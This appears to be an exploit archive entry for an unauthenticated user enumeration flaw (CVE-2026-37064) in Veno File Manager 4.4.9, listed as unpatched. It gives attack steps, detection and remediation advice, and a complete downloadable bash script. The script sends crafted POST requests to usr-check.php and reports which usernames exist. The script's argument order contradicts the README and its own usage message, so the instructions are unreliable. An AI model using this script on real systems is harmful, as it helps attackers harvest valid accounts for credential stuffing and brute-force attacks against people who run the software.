PoC Archive PoC Archive
Medium CVE-2026-37064 unpatched

Veno File Manager Unauthenticated User Enumeration (CVE-2026-37064)

by jfs-jfs · 2026-07-05

Severity
Medium
CVE
CVE-2026-37064
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37064
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsveno-file-manager, user-enumeration, unauthenticated, cwe-203
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash PoC
Authentication RequiredNo
Network Access RequiredYes (HTTP to vfm-admin interface)

Summary

Veno File Manager Project 4.4.9’s /vfm-admin/ajax/usr-check.php endpoint allows an unauthenticated attacker to enumerate application users by sending a specially crafted POST request with a chosen user_name parameter and observing whether the response indicates the user exists.

Vulnerability Details

Root Cause

The usr-check.php endpoint returns a distinguishable response for existing vs. non-existing usernames without requiring authentication.

Attack Vector

  1. Send an unauthenticated POST request to /vfm-admin/ajax/usr-check.php with a candidate user_name value.
  2. Observe the response to determine whether that username exists in the application.
  3. Repeat across a username list to enumerate valid accounts for follow-on credential attacks.

Impact

Unauthenticated enumeration of valid usernames, aiding follow-on credential-stuffing or brute-force attacks.

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1

./PoC.sh <target-url> <candidate-username>

Sends the crafted POST request to usr-check.php and reports whether the candidate username exists.

Detection & Indicators of Compromise

Signs of compromise:

  • High-volume requests to usr-check.php from a single source

Remediation

ActionDetail
Primary fixUpdate Veno File Manager to a version that requires authentication for usr-check.php or removes the distinguishable response
Interim mitigationRate-limit or require authentication for the usr-check.php endpoint at a WAF/reverse-proxy layer

References

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37064 on 2026-07-05.

PoC.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/usr/bin/env bash

##########################################################
############# UNAUTHENTICATED USER ENUMERTION ############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker bruteforce any username in
# the application.

# - Parameter $1 is the username we want to test
# - Parameter $2 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]]; then
  echo "[ USAGE ] :: ./unauth-user-enumeration.sh <url to root of vfm installation>/"
  exit 1
fi

curl -X POST \
  -d "user_name=$1" \
  -H "X-Requested-With: XmlHttpRequest" \
  "$2/vfm-admin/ajax/usr-check.php" 2>/dev/null | sed 's/success/doesnt exist/' | sed 's/error/exists/'
echo